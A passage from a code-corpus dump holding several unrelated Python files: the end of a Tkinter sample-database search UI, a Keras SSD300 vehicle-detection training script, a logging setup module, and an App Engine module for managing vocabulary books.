column =1)\n\tsearchField3 = tk.Entry(window_SampleSearch).grid(row = 5, column = 2, sticky = \"ew\")\n\n\tdef runDisplaySampleType():\n\t\tDisplaySamples.OpenSampleTypeSearch(conn, searchField3.get())\n\n\tsearchButton3 = tk.Button(window_SampleSearch, text='Search', command = runDisplaySampleType, font = myFont).grid(row=5, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\t\n\n\n\t#--------------------------------\n\tsearchLabel4 = tk.Label(window_SampleSearch, text = 'Country of Origin:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=6, column =1)\n\tsearchField4 = tk.Entry(window_SampleSearch).grid(row = 6, column = 2, sticky = \"ew\")\n\n\tdef runOriginCountrySearch():\n\t\tDisplaySamples.OpenOriginCountrySearch(conn, searchField4.get())\n\n\tsearchButton4 = tk.Button(window_SampleSearch, text='Search', command = runOriginCountrySearch, font = myFont).grid(row=6, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\t\n\n\n\t#--------------------------------\n\tsearchLabel5 = tk.Label(window_SampleSearch, text = 'Collection Date:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=7, column =1)\n\tsearchField5 = tk.Entry(window_SampleSearch).grid(row = 7, column = 2, sticky = \"ew\")\n\n\tdef runCollectionDateSearch():\n\t\tDisplaySamples.OpenCollectionDateSearch(conn, searchField5.get())\n\n\tsearchButton5 = tk.Button(window_SampleSearch, text='Search', command = runCollectionDateSearch, font = myFont).grid(row=7, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\t\n\n\n\t#--------------------------------\n\tsearchLabel6 = tk.Label(window_SampleSearch, text = 'Entry Date:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=8, column =1)\n\tsearchField6 = tk.Entry(window_SampleSearch).grid(row = 8, column = 2, sticky = \"ew\")\n\n\tdef runEntryDateSearch():\n\t\tDisplaySamples.OpenEntryDateSearch(conn, searchField6.get())\n\n\tsearchButton6 = tk.Button(window_SampleSearch, text='Search', command = runEntryDateSearch, font = myFont).grid(row=8, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\n\n\n\t#--------------------------------\n\tsearchLabel7 = tk.Label(window_SampleSearch, text = 'Subject Age:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=9, column =1)\n\tsearchField7 = tk.Entry(window_SampleSearch).grid(row = 9, column = 2, sticky = \"ew\")\n\n\tdef runDisplaySubjectAge():\n\t\tDisplaySamples.OpenSubjectAgeSearch(conn, searchField7.get())\n\n\tsearchButton7 = tk.Button(window_SampleSearch, text='Search', command = runDisplaySubjectAge, font = myFont).grid(row=9, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\n\n\n\t#--------------------------------\n\tsearchLabel8 = tk.Label(window_SampleSearch, text = 'Tube Rating:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=10, column =1)\n\tsearchField8 = tk.Entry(window_SampleSearch).grid(row = 10, column = 2, sticky = \"ew\")\n\n\tdef runDisplayTubeRating():\n\t\tDisplaySamples.OpenTubeRatingSearch(conn, searchField8.get())\n\n\tsearchButton8 = tk.Button(window_SampleSearch, text='Search', command = runDisplayTubeRating, font = myFont).grid(row=10, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\t\n\n\n\t#--------------------------------\n\tsearchLabel9 = tk.Label(window_SampleSearch, text = 'Collection Title:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=11, column =1)\n\tsearchField9 = tk.Entry(window_SampleSearch).grid(row = 11, column = 2, sticky = \"ew\")\n\n\tdef runDisplayCollectionTitle():\n\t\tDisplaySamples.OpenCollectionTitleSearch(conn, searchField9.get())\n\n\tsearchButton9 = tk.Button(window_SampleSearch, text='Search', command = runDisplayCollectionTitle, font = myFont).grid(row=11, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\t\n\n\n\t#--------------------------------\n\tsearchLabel10 = tk.Label(window_SampleSearch, text = 'Return Type:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=12, column =1)\n\tsearchField10 = tk.Entry(window_SampleSearch).grid(row = 12, column = 2, sticky = \"ew\")\n\n\tdef runDisplayReturnType():\n\t\tDisplaySamples.OpenReturnTypeSearch(conn, searchField10.get())\n\n\tsearchButton10 = tk.Button(window_SampleSearch, text='Search', command = runDisplayReturnType, font = myFont).grid(row=12, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\n\n\n\t#--------------------------------\n\tsearchLabel11 = tk.Label(window_SampleSearch, text = 'Return Date:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=13, column =1)\n\tsearchField11 = tk.Entry(window_SampleSearch).grid(row = 13, column = 2, sticky = \"ew\")\n\n\tdef runDisplayReturnDate():\n\t\tDisplaySamples.OpenReturnDateSearch(conn, searchField11.get())\n\n\tsearchButton11 = tk.Button(window_SampleSearch, text='Search', command = runDisplayReturnDate, font = myFont).grid(row=13, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\t\n\t\t\n\n\n\t#--------------------------------\n\tsearchLabel12 = tk.Label(window_SampleSearch, text = 'Phenotype Value:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=14, column =1)\n\tsearchField12 = tk.Entry(window_SampleSearch).grid(row = 14, column = 2, sticky = \"ew\")\n\n\tdef runDisplayPhenotypeValue():\n\t\tDisplaySamples.OpenPhenotypeValueSearch(conn, searchField12.get())\n\n\tsearchButton12 = tk.Button(window_SampleSearch, text='Search', command = runDisplayPhenotypeValue, font = myFont).grid(row=14, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\t\t\n\t\t\n\n\n\t#--------------------------------\n\tsearchLabel13 = tk.Label(window_SampleSearch, text = 'Disease State:', anchor = \"w\", font=myFont, bg='cadet blue').grid(row=15, column =1)\n\tsearchField13 = tk.Entry(window_SampleSearch).grid(row = 15, column = 2, sticky = \"ew\")\n\n\tdef runDisplayDiseaseState():\n\t\tDisplaySamples.OpenDiseaseStateSearch(conn, searchField13.get())\n\n\tsearchButton13 = tk.Button(window_SampleSearch, text='Search', command = runDisplaySamples, font = myFont).grid(row=15, column=3, sticky = \"ew\")\n\t#-------------------------------\n\n\n\t\n\t#--------------------\n\tdef Open_MainMenu_Window():\n\t\twindow_SampleSearch.destroy()\n\t\tMainSearch_Window(conn)\n\n\tReturnButton = tk.Button(window_SampleSearch, text='Back to Box Menu', command=Open_MainMenu_Window, font = myFont).grid(row=16, column=2)\n\t#--------------------\n\n\twindow_SampleSearch.mainloop()\n\n##########---------->END: WINDOW FOR SEARCHING SAMPLES<-----##########\n\n#########----------->START: MAIN WINDOW FOR SEARCH<----------###########\n\n\ndef MainSearch_Window(conn):\n\twindow_MainSearch = tk.Tk()\n\twindow_MainSearch.title(\"SEARCH MENU\")\n\twindow_MainSearch.geometry(\"300x250\")\n\twindow_MainSearch[\"bg\"] = 'cadet blue'\n\n\ttext = tk.Text(window_MainSearch)\n\tmyFont = Font(family=\"fixedsys\", size=12)\n\ttext.configure(font=myFont)\n\n\tdef Open_SearchFridge_Window():\n\t\twindow_MainSearch.destroy()\n\t\tSearchFridge_Window(conn)\n\n\tdef Open_SearchBox_Window():\n\t\twindow_MainSearch.destroy()\n\t\tSearchBox_Window(conn)\n\n\tdef Open_SearchSample_Window():\n\t\twindow_MainSearch.destroy()\n\t\tSearchSample_Window(conn)\n\n\tdef Open_MainMenu_Window():\n\t\twindow_MainSearch.destroy()\n\t\tMain_UI.Main_Window(conn)\n\n\n\n\ttk.Button(window_MainSearch, text='Search Fridges', command = Open_SearchFridge_Window, font=myFont).grid(row=1, column=1, sticky = \"ew\")\n\ttk.Button(window_MainSearch, text='Search Boxes', command = Open_SearchBox_Window, font=myFont).grid(row=3, column=1, sticky = \"ew\")\n\ttk.Button(window_MainSearch, text='Search Samples', command = Open_SearchSample_Window, font=myFont).grid(row=5, column=1, sticky = \"ew\")\n\ttk.Button(window_MainSearch, text='Back to Main Menu', command = Open_MainMenu_Window, font=myFont).grid(row=7, column=1, sticky = \"ew\")\n\t\n\ttk.Label(window_MainSearch, height = 1, width = 6, bg=\"cadet blue\").grid(row =0, column =0)\n\ttk.Label(window_MainSearch, height = 1, width = 6, bg=\"cadet blue\").grid(row =2, column =0)\n\ttk.Label(window_MainSearch, height = 1, width = 6, bg=\"cadet blue\").grid(row =4, column =0)\n\ttk.Label(window_MainSearch, height = 1, width = 6, bg=\"cadet blue\").grid(row =6, column =0) \n\ttk.Label(window_MainSearch, height = 1, width = 6, bg=\"cadet blue\").grid(row =8, column =0) \n\n\twindow_MainSearch.mainloop()\n\n\n","sub_path":"Search_UI.py","file_name":"Search_UI.py","file_ext":"py","file_size_in_byte":15572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"645449320","text":"from keras.optimizers import Adam, SGD\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler, TerminateOnNaN, CSVLogger, ReduceLROnPlateau\nfrom keras import backend as K\nfrom keras.models import load_model\nfrom math import ceil\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom models.keras_ssd300 import ssd_300\nfrom keras_loss_function.keras_ssd_loss import SSDLoss\nfrom keras_layers.keras_layer_AnchorBoxes import AnchorBoxes\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\nfrom keras_layers.keras_layer_DecodeDetectionsFast import DecodeDetectionsFast\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\n\nfrom ssd_encoder_decoder.ssd_input_encoder import SSDInputEncoder\nfrom ssd_encoder_decoder.ssd_output_decoder import decode_detections, decode_detections_fast\n\nfrom data_generator.object_detection_2d_data_generator import DataGenerator\nfrom data_generator.object_detection_2d_geometric_ops import Resize\nfrom data_generator.object_detection_2d_photometric_ops import ConvertTo3Channels\nfrom data_generator.data_augmentation_chain_original_ssd import SSDDataAugmentation\nfrom data_generator.object_detection_2d_misc_utils import apply_inverse_transforms\n\ndef lr_schedule(epoch):\n if epoch < 300:\n return 0.001\n elif epoch < 500:\n return 0.0001\n else:\n return 0.00001\n\nif __name__ == '__main__':\n\n\timg_height = 520 # Height of the model input images\n\timg_width = 520 # Width of the model input images\n\timg_channels = 3 # Number of color channels of the model input images\n\tmean_color = [123, 117, 104] # The per-channel mean of the images in the dataset. Do not change this value if you're using any of the pre-trained weights.\n\t\n\tn_classes = 8 # Number of positive classes, e.g. 20 for Pascal VOC, 80 for MS COCO\n\tscales_pascal = [0.1, 0.2, 0.37, 0.54, 0.71, 0.88, 1.05] # The anchor box scaling factors used in the original SSD300 for the Pascal VOC datasets\n\tscales_coco = [0.07, 0.15, 0.33, 0.51, 0.69, 0.87, 1.05] # The anchor box scaling factors used in the original SSD300 for the MS COCO datasets\n\tscales = scales_coco\n\taspect_ratios = [[1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5]] # The anchor box aspect ratios used in the original SSD300; the order matters\n\ttwo_boxes_for_ar1 = True\n\t#steps = [8, 16, 32, 64, 100, 300] # The space between two adjacent anchor box center points for each predictor layer.\n\t#offsets = [0.5, 0.5, 0.5, 0.5, 0.5, 0.5] # The offsets of the first anchor box center points from the top and left borders of the image as a fraction of the step size for each predictor layer.\n\tsteps = None \n\toffsets = None\n\n\tclip_boxes = False # Whether or not to clip the anchor boxes to lie entirely within the image boundaries\n\tvariances = [0.1, 0.1, 0.2, 0.2] # The variances by which the encoded target coordinates are divided as in the original implementation\n\tnormalize_coords = True\n\t\n\n\t# 1: Build the Keras model.\n\n\tK.clear_session() # Clear previous models from memory.\n\n\tmodel,predictor_sizes = ssd_300(image_size=(img_height, img_width, img_channels),\n\t\t n_classes=n_classes,\n\t\t mode='training',\n\t\t l2_regularization=0.0005,\n\t\t scales=scales,\n\t\t aspect_ratios_per_layer=aspect_ratios,\n\t\t two_boxes_for_ar1=two_boxes_for_ar1,\n\t\t steps=steps,\n\t\t offsets=offsets,\n\t\t clip_boxes=clip_boxes,\n\t\t variances=variances,\n\t\t normalize_coords=normalize_coords,\n\t\t subtract_mean=mean_color,\n\t\t\tconfidence_thresh=0.5,\n\t\t\tiou_threshold=0.45)\n\n\t# 3: Instantiate an optimizer and the SSD loss function and compile the model.\n\t# If you want to follow the original Caffe implementation, use the preset SGD\n\t# optimizer, otherwise I'd recommend the commented-out Adam optimizer.\n\tprint (model.summary())\n\tweights_path = 'VGG_ILSVRC_16_layers_fc_reduced.h5'\n\n\tmodel.load_weights(weights_path, by_name=True)\n\tadam = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=5e-04)\n\t#sgd = SGD(lr=0.001, momentum=0.9, decay=0.0, nesterov=False)\n\n\tssd_loss = SSDLoss(neg_pos_ratio=3, alpha=1.0,n_neg_min=0)\n\n\tmodel.compile(optimizer=adam, loss=ssd_loss.compute_loss,metrics=['mae','accuracy'])\n\t# Optional: If you have enough memory, consider loading the images into memory for the reasons explained above.\n\tprint('output shape', model.output_shape)\n\ttrain_dataset = DataGenerator(load_images_into_memory=False, hdf5_dataset_path=None)\n\tval_dataset = DataGenerator(load_images_into_memory=False, hdf5_dataset_path=None)\n\t# The directories that contain the images.\n\timages_dir = '/home/docker/Jessi/smart-traffic-sensor-lab/vehicles-dataset/images/'\n\n\t# The directories that contain the annotations.\n\tannotations_dir = '/home/docker/Jessi/smart-traffic-sensor-lab/vehicles-dataset/annotations/'\n\n\t# The paths to the image sets.\n\ttrain_image_set_filename = '/home/docker/Jessi/smart-traffic-sensor-lab/train.txt'\n\ttest_image_set_filename = '/home/docker/Jessi/smart-traffic-sensor-lab/test.txt'\n\n\tclasses = ['None','motorcycle','car', 'van', 'bus', 'truck',\n\t\t 'small-truck', 'tank-truck']\n\n\tbatch_size = 8\n\n\ttrain_dataset.parse_xml(images_dirs=[images_dir],\n\t\t\t\timage_set_filenames = [train_image_set_filename],\n\t\t annotations_dirs=[annotations_dir],\n\t\t classes=classes,\n\t\t include_classes='all',\n\t\t exclude_truncated=False,\n\t\t exclude_difficult=False,\n\t\t ret=False)\n\t# 6: Create the validation set batch generator (if you want to use a validation dataset)\n\n\t\n\tval_dataset.parse_xml(images_dirs=[images_dir],\n\t\t\t image_set_filenames = [test_image_set_filename],\n\t\t annotations_dirs=[annotations_dir],\n\t\t classes=classes,\n\t\t include_classes='all',\n\t\t exclude_truncated=False,\n\t\t exclude_difficult=False,\n\t\t ret=False)\n\n\t# Optional: Convert the dataset into an HDF5 dataset. This will require more disk space, but will\n\t# speed up the training. Doing this is not relevant in case you activated the `load_images_into_memory`\n\t# option in the constructor, because in that cas the images are in memory already anyway. If you don't\n\t# want to create HDF5 datasets, comment out the subsequent two function calls.\n\n\ttrain_dataset.create_hdf5_dataset(file_path='dataset_pascal_voc_07+12_trainval.h5',\n\t\t resize=False,\n\t\t variable_image_size=True,\n\t\t verbose=True)\n\n\tval_dataset.create_hdf5_dataset(file_path='dataset_pascal_voc_07_test.h5',\n\t\t resize=False,\n\t\t variable_image_size=True,\n\t\t verbose=True)\n\n\t# 4: Set the image transformations for pre-processing and data augmentation options.\n\n\t# For the training generator:\n\tssd_data_augmentation = SSDDataAugmentation(img_height=img_height,\n\t\t img_width=img_width,\n\t\t background=mean_color)\n\t# For the validation generator:\n\tconvert_to_3_channels = ConvertTo3Channels()\n\tresize = Resize(height=img_height, width=img_width)\n\n\t# 5: Instantiate an encoder that can encode ground truth labels into the format needed by the SSD loss function.\n\n\t# The encoder constructor needs the spatial dimensions of the model's predictor layers to create the anchor boxes.\n\tpredictor_sizes = [model.get_layer('conv4_3_norm_mbox_conf').output_shape[1:3],\n\t\t model.get_layer('fc7_mbox_conf').output_shape[1:3],\n\t\t model.get_layer('conv6_2_mbox_conf').output_shape[1:3],\n\t\t model.get_layer('conv7_2_mbox_conf').output_shape[1:3],\n\t\t model.get_layer('conv8_2_mbox_conf').output_shape[1:3],\n\t\t model.get_layer('conv9_2_mbox_conf').output_shape[1:3]]\n\n\n\tssd_input_encoder = SSDInputEncoder(img_height=img_height,\n img_width=img_width,\n n_classes=n_classes,\n predictor_sizes=predictor_sizes,\n scales=scales,\n aspect_ratios_per_layer=aspect_ratios,\n two_boxes_for_ar1=two_boxes_for_ar1,\n steps=steps,\n offsets=offsets,\n clip_boxes=clip_boxes,\n variances=variances,\n matching_type='multi',\n pos_iou_threshold=0.5,\n neg_iou_limit=0.5,\n normalize_coords=normalize_coords)\n\n\t# 6: Create the generator handles that will be passed to Keras' `fit_generator()` function.\n\n\ttrain_generator = train_dataset.generate(batch_size=batch_size,\n\t\t shuffle=True,\n\t\t\t\t\t\t transformations=[ssd_data_augmentation],\n\t\t label_encoder=ssd_input_encoder,\n\t\t returns={'processed_images',\n\t\t 'encoded_labels'},\n\t\t keep_images_without_gt=False)\n\n\tval_generator = val_dataset.generate(batch_size=batch_size,\n\t\t shuffle=False,\n\t\t\t\t\t transformations=[convert_to_3_channels,\n resize],\n\t\t label_encoder=ssd_input_encoder,\n\t\t returns={'processed_images',\n\t\t 'encoded_labels'},\n\t\t keep_images_without_gt=False)\n\n\t# Get the number of samples in the training and validations datasets.\n\ttrain_dataset_size = train_dataset.get_dataset_size()\n\tval_dataset_size = val_dataset.get_dataset_size()\n\n\tprint(\"Number of images in the training dataset:\\t{:>6}\".format(train_dataset_size))\n\tprint(\"Number of images in the validation dataset:\\t{:>6}\".format(val_dataset_size))\n\n\t# Define model callbacks.\n\n\t# TODO: Set the filepath under which you want to save the model.\n\tmodel_checkpoint = ModelCheckpoint(filepath='ssd300_pascal_07+12_epoch-{epoch:02d}_loss-{loss:.4f}_val_loss-{val_loss:.4f}.h5',\n\t\t monitor='val_loss',\n\t\t verbose=1,\n\t\t save_best_only=True,\n\t\t save_weights_only=False,\n\t\t mode='auto',\n\t\t period=1)\n\t#model_checkpoint.best = \n\n\tcsv_logger = CSVLogger(filename='ssd300_pascal_07+12_training_log.csv',\n\t\t separator=',',\n\t\t append=True)\n\n\tlearning_rate_scheduler = LearningRateScheduler(schedule=lr_schedule,\n\t\t verbose=1)\n\n\tterminate_on_nan = TerminateOnNaN()\n\n\tcallbacks = [model_checkpoint,\n\t\t csv_logger,\n\t\t learning_rate_scheduler,\n\t\t terminate_on_nan]\n\t# If you're resuming a previous training, set `initial_epoch` and `final_epoch` accordingly.\n\tinitial_epoch = 0\n\tfinal_epoch = 70\n\tsteps_per_epoch = 1000\n\n\thistory = model.fit_generator(generator=train_generator,\n\t\t\t steps_per_epoch=steps_per_epoch,\n epochs=final_epoch,\n callbacks=callbacks,\n validation_data=val_generator,\n validation_steps=ceil(val_dataset_size/batch_size),\n initial_epoch=initial_epoch)\n\n\tmodel_name = 'ssd300adam_1000_cambio_ancho_coco_70'\n\tmodel.save('./{}.h5'.format(model_name))\n\tmodel.save_weights('./{}_weights.h5'.format(model_name))\n\tscore = model.evaluate_generator(generator = val_generator,steps =ceil(val_dataset_size/batch_size), verbose=0)\n\tprint('Test score:', score[0])\n\tprint('Test mean absolute error:', score[1])\n\tprint('Test accuracy:', score[2])\n\tprint(\"score total\",score)\n\n\n\n","sub_path":"ssd_keras/prueba_300.py","file_name":"prueba_300.py","file_ext":"py","file_size_in_byte":12159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"203168871","text":"#!/usr/bin/env python3\r\n\"\"\" logging suite \"\"\"\r\n\r\nimport sys\r\nimport logging\r\n\r\nimport sentry_sdk\r\nimport structlog\r\nfrom pythonjsonlogger import jsonlogger\r\n\r\ndef setup():\r\n sentry_sdk.init()\r\n\r\n structlog.configure(\r\n processors=[\r\n structlog.stdlib.filter_by_level,\r\n structlog.stdlib.add_logger_name,\r\n structlog.stdlib.add_log_level,\r\n structlog.stdlib.PositionalArgumentsFormatter(),\r\n structlog.processors.StackInfoRenderer(),\r\n structlog.processors.format_exc_info,\r\n structlog.processors.UnicodeDecoder(),\r\n structlog.processors.TimeStamper(fmt=\"iso\"),\r\n structlog.stdlib.render_to_log_kwargs\r\n ],\r\n context_class=dict,\r\n logger_factory=structlog.stdlib.LoggerFactory(),\r\n wrapper_class=structlog.stdlib.BoundLogger,\r\n cache_logger_on_first_use=True\r\n )\r\n\r\n json_handler = logging.StreamHandler(sys.stdout)\r\n json_handler.setFormatter(jsonlogger.JsonFormatter())\r\n\r\n root_logger = logging.getLogger()\r\n root_logger.addHandler(json_handler)\r\n\r\n","sub_path":"bootstrap/logging_suite/logging_suite.py","file_name":"logging_suite.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"182714387","text":"from google.appengine.api import users\r\nfrom google.appengine.ext import ndb\r\n\r\nimport webapp2\r\n\r\nfrom mydicts import *\r\nfrom myschemas import *\r\nfrom myadmin import *\r\n\r\nfrom booktemplates import *\r\n\r\nfrom utils import *\r\nfrom modelutils import *\r\n\r\n\r\ndef addbook(request,bookname,bookdescription):\r\n udict_name = request.request.get('dict_name',USERDICT)\r\n book = Book(parent=dict_key(udict_name));\r\n book.name = bookname\r\n book.description = bookdescription\r\n book.put()\r\n return book\r\n \r\ndef addchapter(request,bookname,chaptername,chapterdescr):\r\n udict_name = request.request.get('dict_name',USERDICT)\r\n chapter = Chapter(parent=dict_key(udict_name));\r\n chapter.name = chaptername;\r\n chapter.description = chapterdescr;\r\n chapter.book = bookname;\r\n chapter.put()\r\n return chapter\r\n\r\ndef addunit(request,chaptername,newdata):\r\n udict_name = request.request.get('dict_name',USERDICT)\r\n unit = Unit(parent=dict_key(udict_name));\r\n unit.unittype = datatype(newdata)\r\n unit.unitkey = newdata.key.urlsafe()\r\n unit.chichar = newdata.chichar\r\n unit.chapter = chaptername\r\n unit.put()\r\n return unit\r\n\r\ndef checkcreateuserbook(request):\r\n user = users.get_current_user()\r\n if not user == None:\r\n userbookname = user.email() + \"'s Book\"\r\n if getbook(request,userbookname) == None:\r\n addbook(request,userbookname,\"Your personal book\")\r\n\r\n\r\n\r\n# [START ListBooks]\r\nclass ListBooks(webapp2.RequestHandler):\r\n def get(self):\r\n self.response.write('')\r\n\r\n sdict_name = self.request.get('dict_name',USERDICT)\r\n\r\n checkcreateuserbook(self)\r\n\r\n books_query = Book.query(ancestor=dict_key(sdict_name)).order(-Book.date)\r\n books = books_query.fetch()\r\n\r\n booklist = \"\"\r\n booklist = booklist + \"\"\r\n for book in books:\r\n booklist = booklist + \"\\n\" + book.name +\" \" + book.description + \" \"\r\n viewbookform = \"\"\r\n booklist = booklist + \"\" + viewbookform + \" \"\r\n booklist = booklist + \" \"\r\n booklist = booklist + \"
\"\r\n\r\n self.response.write(LIST_BOOK_TEMPLATE % booklist)\r\n\r\n self.response.write('')\r\n# [END ListBooks]\r\n\r\n\r\n# [START LoadBook]\r\nclass LoadBookPage(webapp2.RequestHandler):\r\n def get(self):\r\n self.response.write('')\r\n\r\n self.response.write(LOAD_BOOK)\r\n\r\n self.response.write('')\r\n# [END LoadBook]\r\n\r\n# [START LoadBooks]\r\nclass LoadBook(webapp2.RequestHandler):\r\n def post(self):\r\n self.response.write('')\r\n\r\n udict_name = self.request.get('dict_name', USERDICT)\r\n\r\n book = None\r\n chapterlist = []\r\n unitlist = []\r\n chapter = None\r\n\r\n for dataline in self.request.get('bookcontent').split(\"\\n\"):\r\n if len(dataline) > 0:\r\n parts = dataline.split(\";\")\r\n\r\n puts(\"parts\",parts)\r\n\r\n if len(parts) == 2:\r\n if book == None:\r\n bookname = parts[0].strip()\r\n bookdescr = parts[1].strip()\r\n obook = getbook(self,bookname)\r\n if obook == None:\r\n book = addbook(self,bookname,bookdescr)\r\n else:\r\n self.response.write(\"Book \" + obook.name + \" already known
\" )\r\n book = obook\r\n else:\r\n chaptername = parts[0].strip()\r\n chapterdescr = parts[1].strip()\r\n\r\n ochapter = getchapter(self,book.name,chaptername)\r\n if ochapter == None:\r\n chapter = addchapter(self,bookname,chaptername,chapterdescr)\r\n else:\r\n self.response.write(\" Chapter \" + ochapter.name + \" already known
\" )\r\n chapter = ochapter\r\n\r\n\r\n if len(parts) == 3:\r\n chichar = parts[0].strip()\r\n translation = parts[1].strip()\r\n pronunciation = parts[2].strip()\r\n \r\n ounit = getunit(self,chapter.name,chichar)\r\n\r\n if ounit == None:\r\n newdata = allocatedata(self,chichar,translation,pronunciation)\r\n\r\n if newdata:\r\n unit = addunit(self,chaptername,newdata)\r\n else:\r\n self.response.write(\"Cannot allocate \" + dataline + \"
\")\r\n else:\r\n self.response.write(\"Unit \" + ounit.chichar + \" already known
\" )\r\n unit = ounit\r\n \r\n removeduplicatechichars(self)\r\n\r\n self.response.write('')\r\n\r\n# [END LoadBooks]\r\n\r\ndef clearbooks(request):\r\n books_query = Book.query()\r\n books = books_query.fetch()\r\n \r\n for book in books:\r\n deletebook(request,book.key.urlsafe())\r\n\r\n chapters_query = Chapter.query()\r\n chapters = chapters_query.fetch()\r\n \r\n for chapter in chapters:\r\n deletechapter(request,chapter.key.urlsafe())\r\n\r\n units_query = Unit.query()\r\n units = units_query.fetch()\r\n \r\n for unit in units:\r\n deleteunit(request,unit.key.urlsafe())\r\n\r\n checkcreateuserbook(request)\r\n \r\n\r\n# [START ClearBooks]\r\nclass ClearBooks(webapp2.RequestHandler):\r\n def post(self):\r\n clearbooks(self)\r\n self.redirect('/')\r\n# [END ClearBooks]\r\n\r\n# [START ViewBook]\r\nclass ViewBook(webapp2.RequestHandler):\r\n def get(self,bookid):\r\n self.response.write('')\r\n\r\n #dict_name = self.request.get('dict_name', USERDICT)\r\n #book = Book(parent=dict_key(dict_name));\r\n\r\n\r\n dict_name = self.request.get('dict_name',USERDICT)\r\n book_key = ndb.Key(urlsafe=bookid)\r\n book = book_key.get()\r\n\r\n content = \"\"\r\n chapters_query = Chapter.query(Chapter.book == book.name).order(Chapter.date)\r\n for chapter in chapters_query.fetch():\r\n content = content + \"\" + \"\" + chapter.name + \" \" + \" \" + \" \\n\"\r\n \r\n for unit in Unit.query(Unit.chapter == chapter.name).order(Chapter.date):\r\n content = content + \"\" + \"\" + unit.chichar + \" \\n\"\r\n\r\n content = content + \"
\"\r\n\r\n self.response.write(VIEW_BOOK_TEMPLATE % ( book.name, book.description, book.key.urlsafe(), content ))\r\n\r\n self.response.write('')\r\n# [END ViewBook]\r\n\r\n \r\ndef deletebook(request,bookid):\r\n dict_name = request.request.get('dict_name', USERDICT)\r\n book_key = ndb.Key(urlsafe=bookid)\r\n book = book_key.get()\r\n book.key.delete()\r\n\r\ndef deletechapter(request,chapterid):\r\n dict_name = request.request.get('dict_name', USERDICT)\r\n chapter_key = ndb.Key(urlsafe=chapterid)\r\n chapter = chapter_key.get()\r\n chapter.key.delete()\r\n\r\ndef deleteunit(request,unitid):\r\n dict_name = request.request.get('dict_name', USERDICT)\r\n unit_key = ndb.Key(urlsafe=unitid)\r\n unit = unit_key.get()\r\n unit.key.delete()\r\n\r\n\r\n# [START DeleteBook]\r\nclass DeleteBook(webapp2.RequestHandler):\r\n def post(self,bookid):\r\n deletebook(self,bookid)\r\n self.redirect(\"/listbooks\")\r\n# [END DeleteBook]\r\n\r\n# [START LearnBook]\r\nclass LearnBook(webapp2.RequestHandler):\r\n def post(self,bookid):\r\n #deletebook(self,bookid)\r\n #self.redirect(\"/listbooks\")\r\n self.response.write('')\r\n \r\n self.response.write('')\r\n# [END LearnBook]\r\n\r\n\r\n# [START StatBooks]\r\nclass StatBooks(webapp2.RequestHandler):\r\n def get(self):\r\n self.response.write('')\r\n \r\n dict_name = self.request.get('dict_name',USERDICT)\r\n books_query = Book.query(ancestor=dict_key(dict_name)).order(-Book.date)\r\n books = books_query.fetch()\r\n\r\n # Write the submission form and the footer of the page\r\n self.response.write(STAT_BOOK_TEMPLATE % ( len(books) ))\r\n\r\n self.response.write('')\r\n# [END StatChiChars]\r\n\r\n# [START ExportBook]\r\nclass ExportBook(webapp2.RequestHandler):\r\n def get(self,bookid):\r\n self.response.write('')\r\n\r\n dict_name = self.request.get('dict_name',USERDICT)\r\n book_key = ndb.Key(urlsafe=bookid)\r\n book = book_key.get()\r\n\r\n self.response.write(\"\" + \";\".join([book.name,book.description]) + \"
\")\r\n chapters_query = Chapter.query(Chapter.book == book.name).order(Chapter.date)\r\n for chapter in chapters_query.fetch():\r\n self.response.write(\"\" + \";\".join([chapter.name,chapter.description]) + \"
\")\r\n\r\n for unit in Unit.query(Unit.chapter == chapter.name).order(Chapter.date):\r\n data = getunitdata(self,unit)\r\n self.response.write(\"\" + \";\".join([data.chichar,data.translation,data.pronunciation]) + \"
\")\r\n\r\n self.response.write('')\r\n# [END ExportBook]\r\n","sub_path":"book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":9610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
